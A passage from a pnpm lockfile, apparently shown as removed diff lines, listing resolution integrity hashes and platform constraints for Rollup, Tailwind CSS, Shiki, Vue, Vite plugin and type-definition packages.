sha512-YuI2ZHQL78Q5HbhDiBA1X4LmYdXCKCMQIfw0pw7piHJwyREFebJUvrQN4cMssyES6x+vfUbx1CIpaQUKYdQZOw==} - engines: {node: '>=18.18.0'} - - '@humanwhocodes/module-importer@1.0.1': - resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} - engines: {node: '>=12.22'} - - '@humanwhocodes/retry@0.3.1': - resolution: {integrity: sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==} - engines: {node: '>=18.18'} - - '@humanwhocodes/retry@0.4.2': - resolution: {integrity: sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==} - engines: {node: '>=18.18'} - - '@iconify-json/simple-icons@1.2.62': - resolution: {integrity: sha512-GpWQ294d4lraB3D2eBSSMROh1x9uKgpmyereLlGzVQjGZ7lbeFzby2ywXxyp4vEODmTDyf1/4WcOYs/yH4rJ5Q==} - - '@iconify/react@5.2.1': - resolution: {integrity: sha512-37GDR3fYDZmnmUn9RagyaX+zca24jfVOMY8E1IXTqJuE8pxNtN51KWPQe3VODOWvuUurq7q9uUu3CFrpqj5Iqg==} - peerDependencies: - react: '>=16' - - '@iconify/types@2.0.0': - resolution: {integrity: sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg==} - - '@jridgewell/gen-mapping@0.3.8': - resolution: {integrity: sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==} - engines: {node: '>=6.0.0'} - - '@jridgewell/remapping@2.3.5': - resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} - - '@jridgewell/resolve-uri@3.1.2': - resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} - engines: {node: '>=6.0.0'} - - '@jridgewell/set-array@1.2.1': - resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==} - engines: {node: '>=6.0.0'} - - '@jridgewell/sourcemap-codec@1.5.5': - resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} - - '@jridgewell/trace-mapping@0.3.25': - resolution: {integrity: sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==} - - '@rolldown/pluginutils@1.0.0-beta.53': - resolution: {integrity: sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==} - - '@rollup/rollup-android-arm-eabi@4.40.0': - resolution: {integrity: sha512-+Fbls/diZ0RDerhE8kyC6hjADCXA1K4yVNlH0EYfd2XjyH0UGgzaQ8MlT0pCXAThfxv3QUAczHaL+qSv1E4/Cg==} - cpu: [arm] - os: [android] - - '@rollup/rollup-android-arm-eabi@4.53.3': - resolution: {integrity: sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w==} - cpu: [arm] - os: [android] - - '@rollup/rollup-android-arm64@4.40.0': - resolution: {integrity: sha512-PPA6aEEsTPRz+/4xxAmaoWDqh67N7wFbgFUJGMnanCFs0TV99M0M8QhhaSCks+n6EbQoFvLQgYOGXxlMGQe/6w==} - cpu: [arm64] - os: [android] - - '@rollup/rollup-android-arm64@4.53.3': - resolution: {integrity: sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w==} - cpu: [arm64] - os: [android] - - '@rollup/rollup-darwin-arm64@4.40.0': - resolution: {integrity: sha512-GwYOcOakYHdfnjjKwqpTGgn5a6cUX7+Ra2HeNj/GdXvO2VJOOXCiYYlRFU4CubFM67EhbmzLOmACKEfvp3J1kQ==} - cpu: [arm64] - os: [darwin] - - '@rollup/rollup-darwin-arm64@4.53.3': - resolution: {integrity: sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA==} - cpu: [arm64] - os: [darwin] - - '@rollup/rollup-darwin-x64@4.40.0': - resolution: {integrity: sha512-CoLEGJ+2eheqD9KBSxmma6ld01czS52Iw0e2qMZNpPDlf7Z9mj8xmMemxEucinev4LgHalDPczMyxzbq+Q+EtA==} - cpu: [x64] - os: [darwin] - - '@rollup/rollup-darwin-x64@4.53.3': - resolution: {integrity: sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ==} - cpu: [x64] - os: [darwin] - - '@rollup/rollup-freebsd-arm64@4.40.0': - resolution: {integrity: sha512-r7yGiS4HN/kibvESzmrOB/PxKMhPTlz+FcGvoUIKYoTyGd5toHp48g1uZy1o1xQvybwwpqpe010JrcGG2s5nkg==} - cpu: [arm64] - os: [freebsd] - - '@rollup/rollup-freebsd-arm64@4.53.3': - resolution: {integrity: sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w==} - cpu: [arm64] - os: [freebsd] - - '@rollup/rollup-freebsd-x64@4.40.0': - resolution: {integrity: sha512-mVDxzlf0oLzV3oZOr0SMJ0lSDd3xC4CmnWJ8Val8isp9jRGl5Dq//LLDSPFrasS7pSm6m5xAcKaw3sHXhBjoRw==} - cpu: [x64] - os: [freebsd] - - '@rollup/rollup-freebsd-x64@4.53.3': - resolution: {integrity: sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q==} - cpu: [x64] - os: [freebsd] - - '@rollup/rollup-linux-arm-gnueabihf@4.40.0': - resolution: {integrity: sha512-y/qUMOpJxBMy8xCXD++jeu8t7kzjlOCkoxxajL58G62PJGBZVl/Gwpm7JK9+YvlB701rcQTzjUZ1JgUoPTnoQA==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm-gnueabihf@4.53.3': - resolution: {integrity: sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm-musleabihf@4.40.0': - resolution: {integrity: sha512-GoCsPibtVdJFPv/BOIvBKO/XmwZLwaNWdyD8TKlXuqp0veo2sHE+A/vpMQ5iSArRUz/uaoj4h5S6Pn0+PdhRjg==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm-musleabihf@4.53.3': - resolution: {integrity: sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm64-gnu@4.40.0': - resolution: {integrity: sha512-L5ZLphTjjAD9leJzSLI7rr8fNqJMlGDKlazW2tX4IUF9P7R5TMQPElpH82Q7eNIDQnQlAyiNVfRPfP2vM5Avvg==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-arm64-gnu@4.53.3': - resolution: {integrity: sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-arm64-musl@4.40.0': - resolution: {integrity: sha512-ATZvCRGCDtv1Y4gpDIXsS+wfFeFuLwVxyUBSLawjgXK2tRE6fnsQEkE4csQQYWlBlsFztRzCnBvWVfcae/1qxQ==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-arm64-musl@4.53.3': - resolution: {integrity: sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-loong64-gnu@4.53.3': - resolution: {integrity: sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g==} - cpu: [loong64] - os: [linux] - - '@rollup/rollup-linux-loongarch64-gnu@4.40.0': - resolution: {integrity: sha512-wG9e2XtIhd++QugU5MD9i7OnpaVb08ji3P1y/hNbxrQ3sYEelKJOq1UJ5dXczeo6Hj2rfDEL5GdtkMSVLa/AOg==} - cpu: [loong64] - os: [linux] - - '@rollup/rollup-linux-powerpc64le-gnu@4.40.0': - resolution: {integrity: sha512-vgXfWmj0f3jAUvC7TZSU/m/cOE558ILWDzS7jBhiCAFpY2WEBn5jqgbqvmzlMjtp8KlLcBlXVD2mkTSEQE6Ixw==} - cpu: [ppc64] - os: [linux] - - '@rollup/rollup-linux-ppc64-gnu@4.53.3': - resolution: {integrity: sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw==} - cpu: [ppc64] - os: [linux] - - '@rollup/rollup-linux-riscv64-gnu@4.40.0': - resolution: {integrity: sha512-uJkYTugqtPZBS3Z136arevt/FsKTF/J9dEMTX/cwR7lsAW4bShzI2R0pJVw+hcBTWF4dxVckYh72Hk3/hWNKvA==} - cpu: [riscv64] - os: [linux] - - '@rollup/rollup-linux-riscv64-gnu@4.53.3': - resolution: {integrity: sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g==} - cpu: [riscv64] - os: [linux] - - '@rollup/rollup-linux-riscv64-musl@4.40.0': - resolution: {integrity: sha512-rKmSj6EXQRnhSkE22+WvrqOqRtk733x3p5sWpZilhmjnkHkpeCgWsFFo0dGnUGeA+OZjRl3+VYq+HyCOEuwcxQ==} - cpu: [riscv64] - os: [linux] - - '@rollup/rollup-linux-riscv64-musl@4.53.3': - resolution: {integrity: sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A==} - cpu: [riscv64] - os: [linux] - - '@rollup/rollup-linux-s390x-gnu@4.40.0': - resolution: {integrity: sha512-SpnYlAfKPOoVsQqmTFJ0usx0z84bzGOS9anAC0AZ3rdSo3snecihbhFTlJZ8XMwzqAcodjFU4+/SM311dqE5Sw==} - cpu: [s390x] - os: [linux] - - '@rollup/rollup-linux-s390x-gnu@4.53.3': - resolution: {integrity: sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg==} - cpu: [s390x] - os: [linux] - - '@rollup/rollup-linux-x64-gnu@4.40.0': - resolution: {integrity: sha512-RcDGMtqF9EFN8i2RYN2W+64CdHruJ5rPqrlYw+cgM3uOVPSsnAQps7cpjXe9be/yDp8UC7VLoCoKC8J3Kn2FkQ==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-linux-x64-gnu@4.53.3': - resolution: {integrity: sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-linux-x64-musl@4.40.0': - resolution: {integrity: sha512-HZvjpiUmSNx5zFgwtQAV1GaGazT2RWvqeDi0hV+AtC8unqqDSsaFjPxfsO6qPtKRRg25SisACWnJ37Yio8ttaw==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-linux-x64-musl@4.53.3': - resolution: {integrity: sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-openharmony-arm64@4.53.3': - resolution: {integrity: sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw==} - cpu: [arm64] - os: [openharmony] - - '@rollup/rollup-win32-arm64-msvc@4.40.0': - resolution: {integrity: sha512-UtZQQI5k/b8d7d3i9AZmA/t+Q4tk3hOC0tMOMSq2GlMYOfxbesxG4mJSeDp0EHs30N9bsfwUvs3zF4v/RzOeTQ==} - cpu: [arm64] - os: [win32] - - '@rollup/rollup-win32-arm64-msvc@4.53.3': - resolution: {integrity: sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw==} - cpu: [arm64] - os: [win32] - - '@rollup/rollup-win32-ia32-msvc@4.40.0': - resolution: {integrity: sha512-+m03kvI2f5syIqHXCZLPVYplP8pQch9JHyXKZ3AGMKlg8dCyr2PKHjwRLiW53LTrN/Nc3EqHOKxUxzoSPdKddA==} - cpu: [ia32] - os: [win32] - - '@rollup/rollup-win32-ia32-msvc@4.53.3': - resolution: {integrity: sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA==} - cpu: [ia32] - os: [win32] - - '@rollup/rollup-win32-x64-gnu@4.53.3': - resolution: {integrity: sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg==} - cpu: [x64] - os: [win32] - - '@rollup/rollup-win32-x64-msvc@4.40.0': - resolution: {integrity: sha512-lpPE1cLfP5oPzVjKMx10pgBmKELQnFJXHgvtHCtuJWOv8MxqdEIMNtgHgBFf7Ea2/7EuVwa9fodWUfXAlXZLZQ==} - cpu: [x64] - os: [win32] - - '@rollup/rollup-win32-x64-msvc@4.53.3': - resolution: {integrity: sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ==} - cpu: [x64] - os: [win32] - - '@shikijs/core@3.20.0': - resolution: {integrity: sha512-f2ED7HYV4JEk827mtMDwe/yQ25pRiXZmtHjWF8uzZKuKiEsJR7Ce1nuQ+HhV9FzDcbIo4ObBCD9GPTzNuy9S1g==} - - '@shikijs/engine-javascript@3.20.0': - resolution: {integrity: sha512-OFx8fHAZuk7I42Z9YAdZ95To6jDePQ9Rnfbw9uSRTSbBhYBp1kEOKv/3jOimcj3VRUKusDYM6DswLauwfhboLg==} - - '@shikijs/engine-oniguruma@3.20.0': - resolution: {integrity: sha512-Yx3gy7xLzM0ZOjqoxciHjA7dAt5tyzJE3L4uQoM83agahy+PlW244XJSrmJRSBvGYELDhYXPacD4R/cauV5bzQ==} - - '@shikijs/langs@3.20.0': - resolution: {integrity: sha512-le+bssCxcSHrygCWuOrYJHvjus6zhQ2K7q/0mgjiffRbkhM4o1EWu2m+29l0yEsHDbWaWPNnDUTRVVBvBBeKaA==} - - '@shikijs/themes@3.20.0': - resolution: {integrity: sha512-U1NSU7Sl26Q7ErRvJUouArxfM2euWqq1xaSrbqMu2iqa+tSp0D1Yah8216sDYbdDHw4C8b75UpE65eWorm2erQ==} - - '@shikijs/transformers@3.20.0': - resolution: {integrity: sha512-PrHHMRr3Q5W1qB/42kJW6laqFyWdhrPF2hNR9qjOm1xcSiAO3hAHo7HaVyHE6pMyevmy3i51O8kuGGXC78uK3g==} - - '@shikijs/types@3.20.0': - resolution: {integrity: sha512-lhYAATn10nkZcBQ0BlzSbJA3wcmL5MXUUF8d2Zzon6saZDlToKaiRX60n2+ZaHJCmXEcZRWNzn+k9vplr8Jhsw==} - - '@shikijs/vscode-textmate@10.0.2': - resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} - - '@tailwindcss/node@4.2.2': - resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} - - '@tailwindcss/oxide-android-arm64@4.2.2': - resolution: {integrity: sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [android] - - '@tailwindcss/oxide-darwin-arm64@4.2.2': - resolution: {integrity: sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [darwin] - - '@tailwindcss/oxide-darwin-x64@4.2.2': - resolution: {integrity: sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==} - engines: {node: '>= 20'} - cpu: [x64] - os: [darwin] - - '@tailwindcss/oxide-freebsd-x64@4.2.2': - resolution: {integrity: sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==} - engines: {node: '>= 20'} - cpu: [x64] - os: [freebsd] - - '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': - resolution: {integrity: sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==} - engines: {node: '>= 20'} - cpu: [arm] - os: [linux] - - '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': - resolution: {integrity: sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [linux] - - '@tailwindcss/oxide-linux-arm64-musl@4.2.2': - resolution: {integrity: sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [linux] - - '@tailwindcss/oxide-linux-x64-gnu@4.2.2': - resolution: {integrity: sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==} - engines: {node: '>= 20'} - cpu: [x64] - os: [linux] - - '@tailwindcss/oxide-linux-x64-musl@4.2.2': - resolution: {integrity: sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==} - engines: {node: '>= 20'} - cpu: [x64] - os: [linux] - - '@tailwindcss/oxide-wasm32-wasi@4.2.2': - resolution: {integrity: sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==} - engines: {node: '>=14.0.0'} - cpu: [wasm32] - bundledDependencies: - - '@napi-rs/wasm-runtime' - - '@emnapi/core' - - '@emnapi/runtime' - - '@tybys/wasm-util' - - '@emnapi/wasi-threads' - - tslib - - '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': - resolution: {integrity: sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [win32] - - '@tailwindcss/oxide-win32-x64-msvc@4.2.2': - resolution: {integrity: sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==} - engines: {node: '>= 20'} - cpu: [x64] - os: [win32] - - '@tailwindcss/oxide@4.2.2': - resolution: {integrity: sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==} - engines: {node: '>= 20'} - - '@tailwindcss/postcss@4.2.2': - resolution: {integrity: sha512-n4goKQbW8RVXIbNKRB/45LzyUqN451deQK0nzIeauVEqjlI49slUlgKYJM2QyUzap/PcpnS7kzSUmPb1sCRvYQ==} - - '@types/babel__core@7.20.5': - resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} - - '@types/babel__generator@7.27.0': - resolution: {integrity: sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==} - - '@types/babel__template@7.4.4': - resolution: {integrity: sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==} - - '@types/babel__traverse@7.20.7': - resolution: {integrity: sha512-dkO5fhS7+/oos4ciWxyEyjWe48zmG6wbCheo/G2ZnHx4fs3EU6YC6UM8rk56gAjNJ9P3MTH2jo5jb92/K6wbng==} - - '@types/estree@1.0.7': - resolution: {integrity: sha512-w28IoSUCJpidD/TGviZwwMJckNESJZXFu7NBZ5YJ4mEUnNraUn9Pm8HSZm/jDF1pDWYKspWE7oVphigUPRakIQ==} - - '@types/estree@1.0.8': - resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} - - '@types/hast@3.0.4': - resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} - - '@types/json-schema@7.0.15': - resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} - - '@types/linkify-it@5.0.0': - resolution: {integrity: sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==} - - '@types/markdown-it@14.1.2': - resolution: {integrity: sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==} - - '@types/mdast@4.0.4': - resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==} - - '@types/mdurl@2.0.0': - resolution: {integrity: sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==} - - '@types/react-dom@19.1.2': - resolution: {integrity: sha512-XGJkWF41Qq305SKWEILa1O8vzhb3aOo3ogBlSmiqNko/WmRb6QIaweuZCXjKygVDXpzXb5wyxKTSOsmkuqj+Qw==} - peerDependencies: - '@types/react': ^19.0.0 - - '@types/react-dom@19.2.3': - resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} - peerDependencies: - '@types/react': ^19.2.0 - - '@types/react@19.1.2': - resolution: {integrity: sha512-oxLPMytKchWGbnQM9O7D67uPa9paTNxO7jVoNMXgkkErULBPhPARCfkKL9ytcIJJRGjbsVwW4ugJzyFFvm/Tiw==} - - '@types/react@19.2.14': - resolution: {integrity: sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==} - - '@types/unist@3.0.3': - resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} - - '@types/web-bluetooth@0.0.21': - resolution: {integrity: sha512-oIQLCGWtcFZy2JW77j9k8nHzAOpqMHLQejDA48XXMWH6tjCQHz5RCFz1bzsmROyL6PUm+LLnUiI4BCn221inxA==} - - '@ungap/structured-clone@1.3.0': - resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==} - - '@vitejs/plugin-react@4.4.1': - resolution: {integrity: sha512-IpEm5ZmeXAP/osiBXVVP5KjFMzbWOonMs0NaQQl+xYnUAcq4oHUBsF2+p4MgKWG4YMmFYJU8A6sxRPuowllm6w==} - engines: {node: ^14.18.0 || >=16.0.0} - peerDependencies: - vite: ^4.2.0 || ^5.0.0 || ^6.0.0 - - '@vitejs/plugin-vue@6.0.3': - resolution: {integrity: sha512-TlGPkLFLVOY3T7fZrwdvKpjprR3s4fxRln0ORDo1VQ7HHyxJwTlrjKU3kpVWTlaAjIEuCTokmjkZnr8Tpc925w==} - engines: {node: ^20.19.0 || >=22.12.0} - peerDependencies: - vite: ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 - vue: ^3.2.25 - - '@vue/compiler-core@3.5.25': - resolution: {integrity: sha512-vay5/oQJdsNHmliWoZfHPoVZZRmnSWhug0BYT34njkYTPqClh3DNWLkZNJBVSjsNMrg0CCrBfoKkjZQPM/QVUw==} - - '@vue/compiler-dom@3.5.25': - resolution: {integrity: sha512-4We0OAcMZsKgYoGlMjzYvaoErltdFI2/25wqanuTu+S4gismOTRTBPi4IASOjxWdzIwrYSjnqONfKvuqkXzE2Q==} - - '@vue/compiler-sfc@3.5.25': - resolution: {integrity: sha512-PUgKp2rn8fFsI++lF2sO7gwO2d9Yj57Utr5yEsDf3GNaQcowCLKL7sf+LvVFvtJDXUp/03+dC6f2+LCv5aK1ag==} - - '@vue/compiler-ssr@3.5.25': - resolution: {integrity: sha512-ritPSKLBcParnsKYi+GNtbdbrIE1mtuFEJ4U1sWeuOMlIziK5GtOL85t5RhsNy4uWIXPgk+OUdpnXiTdzn8o3A==} - - '@vue/devtools-api@8.0.5': - resolution: {integrity: sha512-DgVcW8H/Nral7LgZEecYFFYXnAvGuN9C3L3DtWekAncFBedBczpNW8iHKExfaM559Zm8wQWrwtYZ9lXthEHtDw==} - - '@vue/devtools-kit@8.0.5': - resolution: {integrity: sha512-q2VV6x1U3KJMTQPUlRMyWEKVbcHuxhqJdSr6Jtjz5uAThAIrfJ6WVZdGZm5cuO63ZnSUz0RCsVwiUUb0mDV0Yg==} - - '@vue/devtools-shared@8.0.5': - resolution: {integrity: sha512-bRLn6/spxpmgLk+iwOrR29KrYnJjG9DGpHGkDFG82UM21ZpJ39ztUT9OXX3g+usW7/b2z+h46I9ZiYyB07XMXg==} - - '@vue/reactivity@3.5.25': - resolution: {integrity: sha512-5xfAypCQepv4Jog1U4zn8cZIcbKKFka3AgWHEFQeK65OW+Ys4XybP6z2kKgws4YB43KGpqp5D/K3go2UPPunLA==} - - '@vue/runtime-core@3.5.25': - resolution: {integrity: sha512-Z751v203YWwYzy460bzsYQISDfPjHTl+6Zzwo/a3CsAf+0ccEjQ8c+0CdX1WsumRTHeywvyUFtW6KvNukT/smA==} - - '@vue/runtime-dom@3.5.25': - resolution: {integrity: sha512-a4WrkYFbb19i9pjkz38zJBg8wa/rboNERq3+hRRb0dHiJh13c+6kAbgqCPfMaJ2gg4weWD3APZswASOfmKwamA==} - - '@vue/server-renderer@3.5.25': - resolution: {integrity: 